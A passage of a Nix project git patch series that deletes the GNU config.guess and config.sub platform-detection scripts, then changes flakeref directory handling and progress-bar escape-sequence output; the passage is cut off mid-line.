-#endif - ); exit (0); -#endif -#endif - -#if defined (NeXT) -#if !defined (__ARCHITECTURE__) -#define __ARCHITECTURE__ "m68k" -#endif - int version; - version=$( (hostinfo | sed -n 's/.*NeXT Mach \([0-9]*\).*/\1/p') 2>/dev/null); - if (version < 4) - printf ("%s-next-nextstep%d\n", __ARCHITECTURE__, version); - else - printf ("%s-next-openstep%d\n", __ARCHITECTURE__, version); - exit (0); -#endif - -#if defined (MULTIMAX) || defined (n16) -#if defined (UMAXV) - printf ("ns32k-encore-sysv\n"); exit (0); -#else -#if defined (CMU) - printf ("ns32k-encore-mach\n"); exit (0); -#else - printf ("ns32k-encore-bsd\n"); exit (0); -#endif -#endif -#endif - -#if defined (__386BSD__) - printf ("i386-pc-bsd\n"); exit (0); -#endif - -#if defined (sequent) -#if defined (i386) - printf ("i386-sequent-dynix\n"); exit (0); -#endif -#if defined (ns32000) - printf ("ns32k-sequent-dynix\n"); exit (0); -#endif -#endif - -#if defined (_SEQUENT_) - struct utsname un; - - uname(&un); - if (strncmp(un.version, "V2", 2) == 0) { - printf ("i386-sequent-ptx2\n"); exit (0); - } - if (strncmp(un.version, "V1", 2) == 0) { /* XXX is V1 correct? */ - printf ("i386-sequent-ptx1\n"); exit (0); - } - printf ("i386-sequent-ptx\n"); exit (0); -#endif - -#if defined (vax) -#if !defined (ultrix) -#include -#if defined (BSD) -#if BSD == 43 - printf ("vax-dec-bsd4.3\n"); exit (0); -#else -#if BSD == 199006 - printf ("vax-dec-bsd4.3reno\n"); exit (0); -#else - printf ("vax-dec-bsd\n"); exit (0); -#endif -#endif -#else - printf ("vax-dec-bsd\n"); exit (0); -#endif -#else -#if defined(_SIZE_T_) || defined(SIGLOST) - struct utsname un; - uname (&un); - printf ("vax-dec-ultrix%s\n", un.release); exit (0); -#else - printf ("vax-dec-ultrix\n"); exit (0); -#endif -#endif -#endif -#if defined(ultrix) || defined(_ultrix) || defined(__ultrix) || defined(__ultrix__) -#if defined(mips) || defined(__mips) || defined(__mips__) || defined(MIPS) || defined(__MIPS__) -#if defined(_SIZE_T_) || defined(SIGLOST) - struct utsname *un; - uname (&un); - printf ("mips-dec-ultrix%s\n", un.release); exit (0); -#else - printf ("mips-dec-ultrix\n"); exit (0); -#endif -#endif -#endif - -#if defined (alliant) && defined (i860) - printf ("i860-alliant-bsd\n"); exit (0); -#endif - - exit (1); -} -EOF - -$CC_FOR_BUILD -o "$dummy" "$dummy.c" 2>/dev/null && SYSTEM_NAME=$($dummy) && - { echo "$SYSTEM_NAME"; exit; } - -# Apollos put the system type in the environment. -test -d /usr/apollo && { echo "$ISP-apollo-$SYSTYPE"; exit; } - -echo "$0: unable to guess system type" >&2 - -case "$UNAME_MACHINE:$UNAME_SYSTEM" in - mips:Linux | mips64:Linux) - # If we got here on MIPS GNU/Linux, output extra information. - cat >&2 <&2 <&2 </dev/null || echo unknown) -uname -r = $( (uname -r) 2>/dev/null || echo unknown) -uname -s = $( (uname -s) 2>/dev/null || echo unknown) -uname -v = $( (uname -v) 2>/dev/null || echo unknown) - -/usr/bin/uname -p = $( (/usr/bin/uname -p) 2>/dev/null) -/bin/uname -X = $( (/bin/uname -X) 2>/dev/null) - -hostinfo = $( (hostinfo) 2>/dev/null) -/bin/universe = $( (/bin/universe) 2>/dev/null) -/usr/bin/arch -k = $( (/usr/bin/arch -k) 2>/dev/null) -/bin/arch = $( (/bin/arch) 2>/dev/null) -/usr/bin/oslevel = $( (/usr/bin/oslevel) 2>/dev/null) -/usr/convex/getsysinfo = $( (/usr/convex/getsysinfo) 2>/dev/null) - -UNAME_MACHINE = "$UNAME_MACHINE" -UNAME_RELEASE = "$UNAME_RELEASE" -UNAME_SYSTEM = "$UNAME_SYSTEM" -UNAME_VERSION = "$UNAME_VERSION" -EOF -fi - -exit 1 - -# Local variables: -# eval: (add-hook 'before-save-hook 'time-stamp) -# time-stamp-start: "timestamp='" -# time-stamp-format: "%:y-%02m-%02d" -# time-stamp-end: "'" -# End: diff --git a/config/config.sub b/config/config.sub deleted file mode 100755 index 63c1f1c8b..000000000 --- a/config/config.sub +++ /dev/null @@ -1,1860 +0,0 @@ -#! /bin/sh -# Configuration validation subroutine script. -# Copyright 1992-2021 Free Software Foundation, Inc. - -timestamp='2021-01-08' - -# This file is free software; you can redistribute it and/or modify it -# under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, see . -# -# As a special exception to the GNU General Public License, if you -# distribute this file as part of a program that contains a -# configuration script generated by Autoconf, you may include it under -# the same distribution terms that you use for the rest of that -# program. This Exception is an additional permission under section 7 -# of the GNU General Public License, version 3 ("GPLv3"). - - -# Please send patches to . -# -# Configuration subroutine to validate and canonicalize a configuration type. -# Supply the specified configuration type as an argument. -# If it is invalid, we print an error message on stderr and exit with code 1. -# Otherwise, we print the canonical config type on stdout and succeed. - -# You can get the latest version of this script from: -# https://git.savannah.gnu.org/cgit/config.git/plain/config.sub - -# This file is supposed to be the same for all GNU packages -# and recognize all the CPU types, system types and aliases -# that are meaningful with *any* GNU software. -# Each package is responsible for reporting which valid configurations -# it does not support. The user should be able to distinguish -# a failure to support a valid configuration from a meaningless -# configuration. - -# The goal of this file is to map all the various variations of a given -# machine specification into a single specification in the form: -# CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM -# or in some cases, the newer four-part form: -# CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM -# It is wrong to echo any other type of specification. - -me=$(echo "$0" | sed -e 's,.*/,,') - -usage="\ -Usage: $0 [OPTION] CPU-MFR-OPSYS or ALIAS - -Canonicalize a configuration name. - -Options: - -h, --help print this help, then exit - -t, --time-stamp print date of last modification, then exit - -v, --version print version number, then exit - -Report bugs and patches to ." - -version="\ -GNU config.sub ($timestamp) - -Copyright 1992-2021 Free Software Foundation, Inc. - -This is free software; see the source for copying conditions. There is NO -warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE." - -help=" -Try \`$me --help' for more information." - -# Parse command line -while test $# -gt 0 ; do - case $1 in - --time-stamp | --time* | -t ) - echo "$timestamp" ; exit ;; - --version | -v ) - echo "$version" ; exit ;; - --help | --h* | -h ) - echo "$usage"; exit ;; - -- ) # Stop option processing - shift; break ;; - - ) # Use stdin as input. - break ;; - -* ) - echo "$me: invalid option $1$help" >&2 - exit 1 ;; - - *local*) - # First pass through any local machine types. - echo "$1" - exit ;; - - * ) - break ;; - esac -done - -case $# in - 0) echo "$me: missing argument$help" >&2 - exit 1;; - 1) ;; - *) echo "$me: too many arguments$help" >&2 - exit 1;; -esac - -# Split fields of configuration type -# shellcheck disable=SC2162 -IFS="-" read field1 field2 field3 field4 <&2 - exit 1 - ;; - *-*-*-*) - basic_machine=$field1-$field2 - basic_os=$field3-$field4 - ;; - *-*-*) - # Ambiguous whether COMPANY is present, or skipped and KERNEL-OS is two - # parts - maybe_os=$field2-$field3 - case $maybe_os in - nto-qnx* | linux-* | uclinux-uclibc* \ - | uclinux-gnu* | kfreebsd*-gnu* | knetbsd*-gnu* | netbsd*-gnu* \ - | netbsd*-eabi* | kopensolaris*-gnu* | cloudabi*-eabi* \ - | storm-chaos* | os2-emx* | rtmk-nova*) - basic_machine=$field1 - basic_os=$maybe_os - ;; - android-linux) - basic_machine=$field1-unknown - basic_os=linux-android - ;; - *) - basic_machine=$field1-$field2 - basic_os=$field3 - ;; - esac - ;; - *-*) - # A lone config we happen to match not fitting any pattern - case $field1-$field2 in - decstation-3100) - basic_machine=mips-dec - basic_os= - ;; - *-*) - # Second component is usually, but not always the OS - case $field2 in - # Prevent following clause from handling this valid os - sun*os*) - basic_machine=$field1 - basic_os=$field2 - ;; - # Manufacturers - dec* | mips* | sequent* | encore* | pc533* | sgi* | sony* \ - | att* | 7300* | 3300* | delta* | motorola* | sun[234]* \ - | unicom* | ibm* | next | hp | isi* | apollo | altos* \ - | convergent* | ncr* | news | 32* | 3600* | 3100* \ - | hitachi* | c[123]* | convex* | sun | crds | omron* | dg \ - | ultra | tti* | harris | dolphin | highlevel | gould \ - | cbm | ns | masscomp | apple | axis | knuth | cray \ - | microblaze* | sim | cisco \ - | oki | wec | wrs | winbond) - basic_machine=$field1-$field2 - basic_os= - ;; - *) - basic_machine=$field1 - basic_os=$field2 - ;; - esac - ;; - esac - ;; - *) - # Convert single-component short-hands not valid as part of - # multi-component configurations. - case $field1 in - 386bsd) - basic_machine=i386-pc - basic_os=bsd - ;; - a29khif) - basic_machine=a29k-amd - basic_os=udi - ;; - adobe68k) - basic_machine=m68010-adobe - basic_os=scout - ;; - alliant) - basic_machine=fx80-alliant - basic_os= - ;; - altos | altos3068) - basic_machine=m68k-altos - basic_os= - ;; - am29k) - basic_machine=a29k-none - basic_os=bsd - ;; - amdahl) - basic_machine=580-amdahl - basic_os=sysv - ;; - amiga) - basic_machine=m68k-unknown - basic_os= - ;; - amigaos | amigados) - basic_machine=m68k-unknown - basic_os=amigaos - ;; - amigaunix | amix) - basic_machine=m68k-unknown - basic_os=sysv4 - ;; - apollo68) - basic_machine=m68k-apollo - basic_os=sysv - ;; - apollo68bsd) - basic_machine=m68k-apollo - basic_os=bsd - ;; - aros) - basic_machine=i386-pc - basic_os=aros - ;; - aux) - basic_machine=m68k-apple - basic_os=aux - ;; - balance) - basic_machine=ns32k-sequent - basic_os=dynix - ;; - blackfin) - basic_machine=bfin-unknown - basic_os=linux - ;; - cegcc) - basic_machine=arm-unknown - basic_os=cegcc - ;; - convex-c1) - basic_machine=c1-convex - basic_os=bsd - ;; - convex-c2) - basic_machine=c2-convex - basic_os=bsd - ;; - convex-c32) - basic_machine=c32-convex - basic_os=bsd - ;; - convex-c34) - basic_machine=c34-convex - basic_os=bsd - ;; - convex-c38) - basic_machine=c38-convex - basic_os=bsd - ;; - cray) - basic_machine=j90-cray - basic_os=unicos - ;; - crds | unos) - basic_machine=m68k-crds - basic_os= - ;; - da30) - basic_machine=m68k-da30 - basic_os= - ;; - decstation | pmax | pmin | dec3100 | decstatn) - basic_machine=mips-dec - basic_os= - ;; - delta88) - basic_machine=m88k-motorola - basic_os=sysv3 - ;; - dicos) - basic_machine=i686-pc - basic_os=dicos - ;; - djgpp) - basic_machine=i586-pc - basic_os=msdosdjgpp - ;; - ebmon29k) - basic_machine=a29k-amd - basic_os=ebmon - ;; - es1800 | OSE68k | ose68k | ose | OSE) - basic_machine=m68k-ericsson - basic_os=ose - ;; - gmicro) - basic_machine=tron-gmicro - basic_os=sysv - ;; - go32) - basic_machine=i386-pc - basic_os=go32 - ;; - h8300hms) - basic_machine=h8300-hitachi - basic_os=hms - ;; - h8300xray) - basic_machine=h8300-hitachi - basic_os=xray - ;; - h8500hms) - basic_machine=h8500-hitachi - basic_os=hms - ;; - harris) - basic_machine=m88k-harris - basic_os=sysv3 - ;; - hp300 | hp300hpux) - basic_machine=m68k-hp - basic_os=hpux - ;; - hp300bsd) - basic_machine=m68k-hp - basic_os=bsd - ;; - hppaosf) - basic_machine=hppa1.1-hp - basic_os=osf - ;; - hppro) - basic_machine=hppa1.1-hp - basic_os=proelf - ;; - i386mach) - basic_machine=i386-mach - basic_os=mach - ;; - isi68 | isi) - basic_machine=m68k-isi - basic_os=sysv - ;; - m68knommu) - basic_machine=m68k-unknown - basic_os=linux - ;; - magnum | m3230) - basic_machine=mips-mips - basic_os=sysv - ;; - merlin) - basic_machine=ns32k-utek - basic_os=sysv - ;; - mingw64) - basic_machine=x86_64-pc - basic_os=mingw64 - ;; - mingw32) - basic_machine=i686-pc - basic_os=mingw32 - ;; - mingw32ce) - basic_machine=arm-unknown - basic_os=mingw32ce - ;; - monitor) - basic_machine=m68k-rom68k - basic_os=coff - ;; - morphos) - basic_machine=powerpc-unknown - basic_os=morphos - ;; - moxiebox) - basic_machine=moxie-unknown - basic_os=moxiebox - ;; - msdos) - basic_machine=i386-pc - basic_os=msdos - ;; - msys) - basic_machine=i686-pc - basic_os=msys - ;; - mvs) - basic_machine=i370-ibm - basic_os=mvs - ;; - nacl) - basic_machine=le32-unknown - basic_os=nacl - ;; - ncr3000) - basic_machine=i486-ncr - basic_os=sysv4 - ;; - netbsd386) - basic_machine=i386-pc - basic_os=netbsd - ;; - netwinder) - basic_machine=armv4l-rebel - basic_os=linux - ;; - news | news700 | news800 | news900) - basic_machine=m68k-sony - basic_os=newsos - ;; - news1000) - basic_machine=m68030-sony - basic_os=newsos - ;; - necv70) - basic_machine=v70-nec - basic_os=sysv - ;; - nh3000) - basic_machine=m68k-harris - basic_os=cxux - ;; - nh[45]000) - basic_machine=m88k-harris - basic_os=cxux - ;; - nindy960) - basic_machine=i960-intel - basic_os=nindy - ;; - mon960) - basic_machine=i960-intel - basic_os=mon960 - ;; - nonstopux) - basic_machine=mips-compaq - basic_os=nonstopux - ;; - os400) - basic_machine=powerpc-ibm - basic_os=os400 - ;; - OSE68000 | ose68000) - basic_machine=m68000-ericsson - basic_os=ose - ;; - os68k) - basic_machine=m68k-none - basic_os=os68k - ;; - paragon) - basic_machine=i860-intel - basic_os=osf - ;; - parisc) - basic_machine=hppa-unknown - basic_os=linux - ;; - psp) - basic_machine=mipsallegrexel-sony - basic_os=psp - ;; - pw32) - basic_machine=i586-unknown - basic_os=pw32 - ;; - rdos | rdos64) - basic_machine=x86_64-pc - basic_os=rdos - ;; - rdos32) - basic_machine=i386-pc - basic_os=rdos - ;; - rom68k) - basic_machine=m68k-rom68k - basic_os=coff - ;; - sa29200) - basic_machine=a29k-amd - basic_os=udi - ;; - sei) - basic_machine=mips-sei - basic_os=seiux - ;; - sequent) - basic_machine=i386-sequent - basic_os= - ;; - sps7) - basic_machine=m68k-bull - basic_os=sysv2 - ;; - st2000) - basic_machine=m68k-tandem - basic_os= - ;; - stratus) - basic_machine=i860-stratus - basic_os=sysv4 - ;; - sun2) - basic_machine=m68000-sun - basic_os= - ;; - sun2os3) - basic_machine=m68000-sun - basic_os=sunos3 - ;; - sun2os4) - basic_machine=m68000-sun - basic_os=sunos4 - ;; - sun3) - basic_machine=m68k-sun - basic_os= - ;; - sun3os3) - basic_machine=m68k-sun - basic_os=sunos3 - ;; - sun3os4) - basic_machine=m68k-sun - basic_os=sunos4 - ;; - sun4) - basic_machine=sparc-sun - basic_os= - ;; - sun4os3) - basic_machine=sparc-sun - basic_os=sunos3 - ;; - sun4os4) - basic_machine=sparc-sun - basic_os=sunos4 - ;; - sun4sol2) - basic_machine=sparc-sun - basic_os=solaris2 - ;; - sun386 | sun386i | roadrunner) - basic_machine=i386-sun - basic_os= - ;; - sv1) - basic_machine=sv1-cray - basic_os=unicos - ;; - symmetry) - basic_machine=i386-sequent - basic_os=dynix - ;; - t3e) - basic_machine=alphaev5-cray - basic_os=unicos - ;; - t90) - basic_machine=t90-cray - basic_os=unicos - ;; - toad1) - basic_machine=pdp10-xkl - basic_os=tops20 - ;; - tpf) - basic_machine=s390x-ibm - basic_os=tpf - ;; - udi29k) - basic_machine=a29k-amd - basic_os=udi - ;; - ultra3) - basic_machine=a29k-nyu - basic_os=sym1 - ;; - v810 | necv810) - basic_machine=v810-nec - basic_os=none - ;; - vaxv) - basic_machine=vax-dec - basic_os=sysv - ;; - vms) - basic_machine=vax-dec - basic_os=vms - ;; - vsta) - basic_machine=i386-pc - basic_os=vsta - ;; - vxworks960) - basic_machine=i960-wrs - basic_os=vxworks - ;; - vxworks68) - basic_machine=m68k-wrs - basic_os=vxworks - ;; - vxworks29k) - basic_machine=a29k-wrs - basic_os=vxworks - ;; - xbox) - basic_machine=i686-pc - basic_os=mingw32 - ;; - ymp) - basic_machine=ymp-cray - basic_os=unicos - ;; - *) - basic_machine=$1 - basic_os= - ;; - esac - ;; -esac - -# Decode 1-component or ad-hoc basic machines -case $basic_machine in - # Here we handle the default manufacturer of certain CPU types. It is in - # some cases the only manufacturer, in others, it is the most popular. - w89k) - cpu=hppa1.1 - vendor=winbond - ;; - op50n) - cpu=hppa1.1 - vendor=oki - ;; - op60c) - cpu=hppa1.1 - vendor=oki - ;; - ibm*) - cpu=i370 - vendor=ibm - ;; - orion105) - cpu=clipper - vendor=highlevel - ;; - mac | mpw | mac-mpw) - cpu=m68k - vendor=apple - ;; - pmac | pmac-mpw) - cpu=powerpc - vendor=apple - ;; - - # Recognize the various machine names and aliases which stand - # for a CPU type and a company and sometimes even an OS. - 3b1 | 7300 | 7300-att | att-7300 | pc7300 | safari | unixpc) - cpu=m68000 - vendor=att - ;; - 3b*) - cpu=we32k - vendor=att - ;; - bluegene*) - cpu=powerpc - vendor=ibm - basic_os=cnk - ;; - decsystem10* | dec10*) - cpu=pdp10 - vendor=dec - basic_os=tops10 - ;; - decsystem20* | dec20*) - cpu=pdp10 - vendor=dec - basic_os=tops20 - ;; - delta | 3300 | motorola-3300 | motorola-delta \ - | 3300-motorola | delta-motorola) - cpu=m68k - vendor=motorola - ;; - dpx2*) - cpu=m68k - vendor=bull - basic_os=sysv3 - ;; - encore | umax | mmax) - cpu=ns32k - vendor=encore - ;; - elxsi) - cpu=elxsi - vendor=elxsi - basic_os=${basic_os:-bsd} - ;; - fx2800) - cpu=i860 - vendor=alliant - ;; - genix) - cpu=ns32k - vendor=ns - ;; - h3050r* | hiux*) - cpu=hppa1.1 - vendor=hitachi - basic_os=hiuxwe2 - ;; - hp3k9[0-9][0-9] | hp9[0-9][0-9]) - cpu=hppa1.0 - vendor=hp - ;; - hp9k2[0-9][0-9] | hp9k31[0-9]) - cpu=m68000 - vendor=hp - ;; - hp9k3[2-9][0-9]) - cpu=m68k - vendor=hp - ;; - hp9k6[0-9][0-9] | hp6[0-9][0-9]) - cpu=hppa1.0 - vendor=hp - ;; - hp9k7[0-79][0-9] | hp7[0-79][0-9]) - cpu=hppa1.1 - vendor=hp - ;; - hp9k78[0-9] | hp78[0-9]) - # FIXME: really hppa2.0-hp - cpu=hppa1.1 - vendor=hp - ;; - hp9k8[67]1 | hp8[67]1 | hp9k80[24] | hp80[24] | hp9k8[78]9 | hp8[78]9 | hp9k893 | hp893) - # FIXME: really hppa2.0-hp - cpu=hppa1.1 - vendor=hp - ;; - hp9k8[0-9][13679] | hp8[0-9][13679]) - cpu=hppa1.1 - vendor=hp - ;; - hp9k8[0-9][0-9] | hp8[0-9][0-9]) - cpu=hppa1.0 - vendor=hp - ;; - i*86v32) - cpu=$(echo "$1" | sed -e 's/86.*/86/') - vendor=pc - basic_os=sysv32 - ;; - i*86v4*) - cpu=$(echo "$1" | sed -e 's/86.*/86/') - vendor=pc - basic_os=sysv4 - ;; - i*86v) - cpu=$(echo "$1" | sed -e 's/86.*/86/') - vendor=pc - basic_os=sysv - ;; - i*86sol2) - cpu=$(echo "$1" | sed -e 's/86.*/86/') - vendor=pc - basic_os=solaris2 - ;; - j90 | j90-cray) - cpu=j90 - vendor=cray - basic_os=${basic_os:-unicos} - ;; - iris | iris4d) - cpu=mips - vendor=sgi - case $basic_os in - irix*) - ;; - *) - basic_os=irix4 - ;; - esac - ;; - miniframe) - cpu=m68000 - vendor=convergent - ;; - *mint | mint[0-9]* | *MiNT | *MiNT[0-9]*) - cpu=m68k - vendor=atari - basic_os=mint - ;; - news-3600 | risc-news) - cpu=mips - vendor=sony - basic_os=newsos - ;; - next | m*-next) - cpu=m68k - vendor=next - case $basic_os in - openstep*) - ;; - nextstep*) - ;; - ns2*) - basic_os=nextstep2 - ;; - *) - basic_os=nextstep3 - ;; - esac - ;; - np1) - cpu=np1 - vendor=gould - ;; - op50n-* | op60c-*) - cpu=hppa1.1 - vendor=oki - basic_os=proelf - ;; - pa-hitachi) - cpu=hppa1.1 - vendor=hitachi - basic_os=hiuxwe2 - ;; - pbd) - cpu=sparc - vendor=tti - ;; - pbb) - cpu=m68k - vendor=tti - ;; - pc532) - cpu=ns32k - vendor=pc532 - ;; - pn) - cpu=pn - vendor=gould - ;; - power) - cpu=power - vendor=ibm - ;; - ps2) - cpu=i386 - vendor=ibm - ;; - rm[46]00) - cpu=mips - vendor=siemens - ;; - rtpc | rtpc-*) - cpu=romp - vendor=ibm - ;; - sde) - cpu=mipsisa32 - vendor=sde - basic_os=${basic_os:-elf} - ;; - simso-wrs) - cpu=sparclite - vendor=wrs - basic_os=vxworks - ;; - tower | tower-32) - cpu=m68k - vendor=ncr - ;; - vpp*|vx|vx-*) - cpu=f301 - vendor=fujitsu - ;; - w65) - cpu=w65 - vendor=wdc - ;; - w89k-*) - cpu=hppa1.1 - vendor=winbond - basic_os=proelf - ;; - none) - cpu=none - vendor=none - ;; - leon|leon[3-9]) - cpu=sparc - vendor=$basic_machine - ;; - leon-*|leon[3-9]-*) - cpu=sparc - vendor=$(echo "$basic_machine" | sed 's/-.*//') - ;; - - *-*) - # shellcheck disable=SC2162 - IFS="-" read cpu vendor <&2 - exit 1 - ;; - esac - ;; -esac - -# Here we canonicalize certain aliases for manufacturers. -case $vendor in - digital*) - vendor=dec - ;; - commodore*) - vendor=cbm - ;; - *) - ;; -esac - -# Decode manufacturer-specific aliases for certain operating systems. - -if test x$basic_os != x -then - -# First recognize some ad-hoc caes, or perhaps split kernel-os, or else just -# set os. -case $basic_os in - gnu/linux*) - kernel=linux - os=$(echo $basic_os | sed -e 's|gnu/linux|gnu|') - ;; - os2-emx) - kernel=os2 - os=$(echo $basic_os | sed -e 's|os2-emx|emx|') - ;; - nto-qnx*) - kernel=nto - os=$(echo $basic_os | sed -e 's|nto-qnx|qnx|') - ;; - *-*) - # shellcheck disable=SC2162 - IFS="-" read kernel os <&2 - exit 1 - ;; -esac - -# As a final step for OS-related things, validate the OS-kernel combination -# (given a valid OS), if there is a kernel. -case $kernel-$os in - linux-gnu* | linux-dietlibc* | linux-android* | linux-newlib* | linux-musl* | linux-uclibc* ) - ;; - uclinux-uclibc* ) - ;; - -dietlibc* | -newlib* | -musl* | -uclibc* ) - # These are just libc implementations, not actual OSes, and thus - # require a kernel. - echo "Invalid configuration \`$1': libc \`$os' needs explicit kernel." 1>&2 - exit 1 - ;; - kfreebsd*-gnu* | kopensolaris*-gnu*) - ;; - vxworks-simlinux | vxworks-simwindows | vxworks-spe) - ;; - nto-qnx*) - ;; - os2-emx) - ;; - *-eabi* | *-gnueabi*) - ;; - -*) - # Blank kernel with real OS is always fine. - ;; - *-*) - echo "Invalid configuration \`$1': Kernel \`$kernel' not known to work with OS \`$os'." 1>&2 - exit 1 - ;; -esac - -# Here we handle the case where we know the os, and the CPU type, but not the -# manufacturer. We pick the logical manufacturer. -case $vendor in - unknown) - case $cpu-$os in - *-riscix*) - vendor=acorn - ;; - *-sunos*) - vendor=sun - ;; - *-cnk* | *-aix*) - vendor=ibm - ;; - *-beos*) - vendor=be - ;; - *-hpux*) - vendor=hp - ;; - *-mpeix*) - vendor=hp - ;; - *-hiux*) - vendor=hitachi - ;; - *-unos*) - vendor=crds - ;; - *-dgux*) - vendor=dg - ;; - *-luna*) - vendor=omron - ;; - *-genix*) - vendor=ns - ;; - *-clix*) - vendor=intergraph - ;; - *-mvs* | *-opened*) - vendor=ibm - ;; - *-os400*) - vendor=ibm - ;; - s390-* | s390x-*) - vendor=ibm - ;; - *-ptx*) - vendor=sequent - ;; - *-tpf*) - vendor=ibm - ;; - *-vxsim* | *-vxworks* | *-windiss*) - vendor=wrs - ;; - *-aux*) - vendor=apple - ;; - *-hms*) - vendor=hitachi - ;; - *-mpw* | *-macos*) - vendor=apple - ;; - *-*mint | *-mint[0-9]* | *-*MiNT | *-MiNT[0-9]*) - vendor=atari - ;; - *-vos*) - vendor=stratus - ;; - esac - ;; -esac - -echo "$cpu-$vendor-${kernel:+$kernel-}$os" -exit - -# Local variables: -# eval: (add-hook 'before-save-hook 'time-stamp) -# time-stamp-start: "timestamp='" -# time-stamp-format: "%:y-%02m-%02d" -# time-stamp-end: "'" -# End: From 11a1dcc43b3830dc25319719bccc71572136c57d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Wed, 28 Feb 2024 16:59:06 +0100 Subject: [PATCH 0160/1251] Properly fail on flakerefs that don't point to a directory Directly fail if a flakeref points to something that isn't a directory instead of falling back to the logic of trying to look up the hierarchy to find a valid flake root. Fix https://github.com/NixOS/nix/issues/9868 --- src/libexpr/flake/flakeref.cc | 6 +++--- tests/functional/flakes/search-root.sh | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/libexpr/flake/flakeref.cc b/src/libexpr/flake/flakeref.cc index 86a0982f3..09b5cecbc 100644 --- a/src/libexpr/flake/flakeref.cc +++ b/src/libexpr/flake/flakeref.cc @@ -102,6 +102,9 @@ std::pair parsePathFlakeRefWithFragment( if (isFlake) { + if (!S_ISDIR(lstat(path).st_mode)) + throw BadURL("path '%s' is not a flake (because it's not a directory)", path); + if (!allowMissing && !pathExists(path + "/flake.nix")){ notice("path '%s' does not contain a 'flake.nix', searching up",path); @@ -124,9 +127,6 @@ std::pair parsePathFlakeRefWithFragment( throw BadURL("could not find a flake.nix file"); } - if (!S_ISDIR(lstat(path).st_mode)) - throw BadURL("path '%s' is not a flake (because it's not a directory)", path); - if (!allowMissing && !pathExists(path + "/flake.nix")) throw BadURL("path '%s' is not a flake (because it doesn't contain a 'flake.nix' file)", path); diff --git a/tests/functional/flakes/search-root.sh b/tests/functional/flakes/search-root.sh index d8586dc8a..6b137aa86 100644 --- a/tests/functional/flakes/search-root.sh +++ b/tests/functional/flakes/search-root.sh @@ -22,7 +22,7 @@ mkdir subdir pushd subdir success=("" . .# .#test ../subdir ../subdir#test "$PWD") -failure=("path:$PWD") +failure=("path:$PWD" "../simple.nix") for i in "${success[@]}"; do nix build $i || fail "flake should be found by searching up directories" From 2f0bc6373ce1cc62f6b0ec955a227762904a66df Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Sat, 2 Mar 2024 10:34:20 +0100 Subject: [PATCH 0161/1251] Don't fail if a flakeref directly points to the flake.nix Just warn and redirect it to the parent directory --- src/libexpr/flake/flakeref.cc | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) diff --git a/src/libexpr/flake/flakeref.cc b/src/libexpr/flake/flakeref.cc index 09b5cecbc..6c534f429 100644 --- a/src/libexpr/flake/flakeref.cc +++ b/src/libexpr/flake/flakeref.cc @@ -102,8 +102,18 @@ std::pair parsePathFlakeRefWithFragment( if (isFlake) { - if (!S_ISDIR(lstat(path).st_mode)) - throw BadURL("path '%s' is not a flake (because it's not a directory)", path); + if (!S_ISDIR(lstat(path).st_mode)) { + if (baseNameOf(path) == "flake.nix") { + // Be gentle with people who accidentally write `/foo/bar/flake.nix` instead of `/foo/bar` + warn( + "Path '%s' should point at the directory containing the 'flake.nix' file, not the file itself. " + "Pretending that you meant '%s'" + , path, dirOf(path)); + path = dirOf(path); + } else { + throw BadURL("path '%s' is not a flake (because it's not a directory)", path); + } + } if (!allowMissing && !pathExists(path + "/flake.nix")){ notice("path '%s' does not contain a 'flake.nix', searching up",path); From 950b6401f98d1a56fefb2d6101e0513cc601824c Mon Sep 17 00:00:00 2001 From: Ivan Shapovalov Date: Fri, 1 Mar 2024 22:12:44 +0100 Subject: [PATCH 0162/1251] libmain/progress-bar: try harder to avoid escape sequences if !isTTY --- src/libmain/progress-bar.cc | 20 +++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-) diff --git a/src/libmain/progress-bar.cc b/src/libmain/progress-bar.cc index 3aa012ee1..afba29e1b 100644 --- a/src/libmain/progress-bar.cc +++ b/src/libmain/progress-bar.cc @@ -123,14 +123,18 @@ public: } void pause() override { - state_.lock()->paused = true; - writeToStderr("\r\e[K"); + auto state (state_.lock()); + state->paused = true; + if (state->active) + writeToStderr("\r\e[K"); } void resume() override { - state_.lock()->paused = false; - writeToStderr("\r\e[K"); - state_.lock()->haveUpdate = true; + auto state (state_.lock()); + state->paused = false; + if (state->active) + writeToStderr("\r\e[K"); + state->haveUpdate = true; updateCV.notify_one(); } @@ -162,9 +166,7 @@ public: writeToStderr("\r\e[K" + filterANSIEscapes(s, !isTTY) + ANSI_NORMAL "\n"); draw(state); } else { - auto s2 = s + ANSI_NORMAL "\n"; - if (!isTTY) s2 = filterANSIEscapes(s2, true); - writeToStderr(s2); + writeToStderr(filterANSIEscapes(s, !isTTY) + "\n"); } } @@ -519,7 +521,7 @@ public: std::optional ask(std::string_view msg) override { auto state(state_.lock()); - if (!state->active || !isatty(STDIN_FILENO)) return {}; + if (!state->active) return {}; std::cerr << fmt("\r\e[K%s ", msg); auto s = trim(readLine(STDIN_FILENO)); if (s.size() != 1) return {}; From d9fc4bf5c5a2ad075d4500b005abc839eb98e581 Mon Sep 17 00:00:00 2001 From: Ivan Shapovalov Date: Fri, 1 Mar 2024 23:11:24 +0100 Subject: [PATCH 0163/1251] treewide: replace usages of isatty(STDERR_FILENO) with shouldANSI() --- src/nix-env/nix-env.cc | 3 ++- src/nix/main.cc | 5 ++++- src/nix/prefetch.cc | 3 ++- 3 files changed, 8 insertions(+), 3 deletions(-) diff --git a/src/nix-env/nix-env.cc b/src/nix-env/nix-env.cc index 5e3de20c5..b42fa06bc 100644 --- a/src/nix-env/nix-env.cc +++ b/src/nix-env/nix-env.cc @@ -16,6 +16,7 @@ #include "xml-writer.hh" #include "legacy.hh" #include "eval-settings.hh" // for defexpr +#include "terminal.hh" #include #include @@ -1089,7 +1090,7 @@ static void opQuery(Globals & globals, Strings opFlags, Strings opArgs) return; } - bool tty = 